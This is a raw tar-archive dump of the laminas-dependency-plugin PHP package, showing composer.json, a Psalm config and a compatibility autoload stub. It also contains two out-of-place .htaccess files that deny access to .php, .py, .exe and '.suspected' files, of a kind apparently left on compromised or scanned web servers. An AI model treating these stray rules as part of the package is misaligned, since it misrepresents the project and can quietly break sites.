"sort-packages": true }, "require": { "php": "^7.3 || ~8.0.0", "composer-plugin-api": "^1.1 || ^2.0" }, "require-dev": { "composer/composer": "^1.9 || ^2.0", "mikey179/vfsstream": "^1.6", "roave/security-advisories": "dev-master" }, "autoload": { "psr-4": { "Laminas\\DependencyPlugin\\": "src/" } }, "autoload-dev": { "psr-4": { "LaminasTest\\DependencyPlugin\\": "test/" }, "files": ["autoload/composer-2.0.php"] }, "extra": { "class": "Laminas\\DependencyPlugin\\DependencyRewriterPluginDelegator" }, "scripts": { "check": [ "@cs-check", "@compat", "@test" ], "cs-check": "phpcs", "cs-fix": "phpcbf", "static-analysis": "psalm --shepherd --stats", "test": "phpunit --colors=always", "test-coverage": "phpunit --colors=always --coverage-clover clover.xml" } } .htaccess000077700000000177151323643720006364 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>psalm.xml.dist000077700000002266151323643720007367 0ustar00<?xml version="1.0"?> <psalm totallyTyped="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" > <projectFiles> <directory name="src"/> <directory name="test"/> <ignoreFiles> <directory name="vendor"/> <file name="test/DependencyRewriterV1Test.php"/> </ignoreFiles> </projectFiles> <issueHandlers> <InternalMethod> <errorLevel type="suppress"> <referencedMethod name="PHPUnit\Framework\MockObject\Builder\InvocationMocker::method"/> </errorLevel> <errorLevel type="suppress"> <referencedMethod name="PHPUnit\Framework\MockObject\Builder\InvocationMocker::willReturn"/> </errorLevel> <errorLevel type="suppress"> <referencedMethod name="PHPUnit\Framework\MockObject\Builder\InvocationMocker::with"/> </errorLevel> </InternalMethod> </issueHandlers> <plugins> <pluginClass class="Psalm\PhpUnitPlugin\Plugin"/> </plugins> </psalm> autoload/composer-2.0.php000077700000000665151323643720011235 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Composer\Plugin; if (! class_exists(PrePoolCreateEvent::class)) { class PrePoolCreateEvent { } } autoload/.htaccess000077700000000177151323643720010174 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>
/var/www/html/dhandapani/d6e06/../dev/../9da53/laminas-dependency-plugin.tar